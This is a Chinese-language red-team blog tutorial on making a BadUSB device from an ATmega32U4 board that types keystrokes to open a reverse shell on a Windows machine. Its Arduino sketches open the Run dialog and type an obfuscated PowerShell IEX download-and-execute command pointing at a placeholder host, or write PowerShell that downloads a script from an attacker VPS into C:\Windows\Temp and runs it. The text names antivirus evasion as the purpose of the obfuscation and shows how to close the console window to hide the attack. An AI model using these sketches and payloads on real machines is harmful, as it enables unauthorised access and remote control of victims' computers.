【红队近源】U盘反弹shell制作—BadUSB攻击

一、工具准备

1、Arduino IDE(给badusb写入代码的软件工具)

1
网盘已提供

2、Badusb(U盘)

1
(374)32U4 虚拟键盘 Badusb Leomardo USB ATMEGA32U4开发板单片

Untitled1

3、可能出现的问题:

1
2
一般来说,驱动正常,在设备管理器中可以看到如下:
如果异常,针对不同型号的badusb 可以用驱动精灵下载对应的驱动

Untitled

二、开始编写

  1. 打开IDE ,选择板子和接口

    Untitled

    1
    2
    3
    在Arduino 1.5.5 版本中的设置:
    1、在【工具】-->【版】-->【Arduino leonardo】
    2、在【端口】-->选择对应的端口
  2. 程序介绍

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    开发版中就只有两种函数:
    setup():就是插入badusb 之后执行的代码,执行一次。我们一般将攻击代码写入这里
    loop():是插入后循环执行的代码。如果不写明循环条件,就会一直循环执行代码,导致不好的结果(因此一般不用这个函数)
    如:如果写入不断按F5的循环代码,可能插上后,电脑就会死机。

    Mouse.begin()//鼠标事件开始
    Mouse.click()//鼠标单击
    Mouse.end()//鼠标事件结束
    Mouse.move()//鼠标移动(x,y)
    Mouse.press()//鼠标按下
    Mouse.release()//鼠标松开
    Mouse.isPressed()//

    KEY_LEFT_CTRL
    KEY_LEFT_SHIFT
    KEY_LEFT_ALT
    KEY_LEFT_GUI//按下win键
    KEY_RIGHT_CTRL
    KEY_RIGHT_SHIFT
    KEY_RIGHT_ALT
    KEY_RIGHT_GUI
    KEY_UP_ARROW
    KEY_DOWN_ARROW
    KEY_LEFT_ARROW
    KEY_RIGHT_ARROW
    KEY_BACKSPACE
    KEY_TAB
    KEY_RETURN
    KEY_ESC
    KEY_INSERT
    KEY_DELETE
    KEY_PAGE_UP
    KEY_PAGE_DOWN
    KEY_HOME
    KEY_END
    KEY_CAPS_LOCK//释放大写
    KEY_F1
    KEY_F2
    KEY_F3
    KEY_F4
    KEY_F5
    KEY_F6
    KEY_F7
    KEY_F8
    KEY_F9
    KEY_F10
    KEY_F11
    KEY_F12

    Keyboard.begin(); // 初始化键盘库
    delay(2000); // 等待 2 秒钟( 2000 毫秒)
    Keyboard.press('a'); // 按下 'a' 键
    Keyboard.press(KEY_LEFT_GUI); // 按下左 Windows 键
    Keyboard.println("Hello, World!"); // 输入字符串
    Keyboard.press(KEY_LEFT_CTRL); // 按下左 Ctrl 键
    Keyboard.press(KEY_LEFT_ALT); // 按下左 Alt 键
    Keyboard.press(' '); // 按下空格键
    Keyboard.println();// 按下回车键
    Keyboard.release('r');// 释放 'a' 键,以上按键同理
    Keyboard.end();// 结束键盘模拟
  3. 编写一个弹出浏览器打开百度(仅限keyboard.h框架下)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #include <Keyboard.h>
    void setup(){
    Keyboard.begin(); // 初始化键盘库
    delay(3000); // 等待 3 秒钟(3000毫秒)
    Keyboard.press(KEY_LEFT_GUI); // 按下左 Windows 键
    delay(200); // 等待 0.2 秒钟(200毫秒)
    Keyboard.press('r'); // 按下 'r' 键
    delay(200);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    Keyboard.press(KEY_CAPS_LOCK);
    Keyboard.release(KEY_CAPS_LOCK);
    delay(200);
    Keyboard.println("<HTTP://baidu.COM>");
    Keyboard.println();
    Keyboard.end();// 结束键盘模拟
    }
    void loop() {
    }
  4. 编写好代码后,就可以开始验证,有输出,无报错,就可以上传到badusb了。上传成功后,会优先执行一次代码。

    1
    2
    3
    注意:
    要是写入了攻击代码(不含loop方法),如何不被执行攻击代码?
    只需要打开记事本,插入badusb,然后鼠标不停点击记事本,代码就都写在记事本上了。

三、开编反弹shell

  1. 选用反弹工具

    1
    2
    3
    4
    5
    6
    直接用cmd、nc,都会被火绒拦截
    用powershell 是比较合适的。
    payload:
    cmd /c echo set-alias -name xz -value IEX;xs (New-Object \\"NeT.WeBClient\\").downloadstring('<http://xxxxx/xxx.ps1>') | powershell

    //下载并执行xxx.ps1脚本,这个payload 是有做混淆的,毕竟直接运行powershell 并加上攻击代码,可能会被检测。
  2. 反弹shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    void setup() {
    Keyboard.begin();
    delay(5000);
    Keyboard.press(KEY_LEFT_GUI);
    delay(500);
    Keyboard.press('r');
    Keyboard.press(KEY_CAPS_LOCK);
    Keyboard.release(KEY_CAPS_LOCK);
    delay(500);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    Keyboard.println("cmd");
    Keyboard.println();
    delay(500);
    Keyboard.println("cmd /c echo set-alias -name xz -value IEX;xs (New-Object \\"NeT.WeBClient\\").downloadstring('<http://xxxxx/xxx.ps1>') | powershell");
    Keyboard.press(KEY_CAPS_LOCK);
    Keyboard.release(KEY_CAPS_LOCK);
    Keyboard.println();
    delay(5000);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(' ');
    Keyboard.press('c');
    Keyboard.releaseAll();
    Keyboard.end();
    }
    void loop() {
    }

    Untitled

四、释放编译代码

如果已经写入了攻击代码,但是不想去执行的话,可以在插入U盘之前,先打开记事本,插入U盘之后,不停点击在记事本上。

五、快速取消cmd弹框

1
2
3
4
5
6
delay(5000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(' ');
Keyboard.press('c');
Keyboard.releaseAll();
Keyboard.end();// 结束键盘模拟

六、自编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <Keyboard.h>

void setup() {
Keyboard.begin();
delay(5000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd");
delay(1000);
delay(1000);
Keyboard.println("powershell");
delay(1000);
Keyboard.println("$url=\\'<http://<vps_ip>:<port>/xxx.ps1\\>'");
delay(1000);
Keyboard.println();
delay(2000);
Keyboard.println("$output=\\'c:\\\\windows\\\\temp\\\\xxx.ps1\\'");
delay(2000);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(2000);
Keyboard.println();
Keyboard.println("$client=new-object System.Net.WebClient");
delay(2000);
Keyboard.println();
Keyboard.println("$client.DownloadFile($URL,$OUTPUT)");
delay(5000);
Keyboard.println();
Keyboard.println("C:\\\\Windows\\\\Temp\\\\XXX.PS1");
delay(1000);
Keyboard.println();
Keyboard.println();
delay(10000);
//Keyboard.press(KEY_LEFT_ALT);
//Keyboard.press(' ');
//Keyboard.press('c');
//Keyboard.releaseAll();
Keyboard.end();
}
void loop() {
}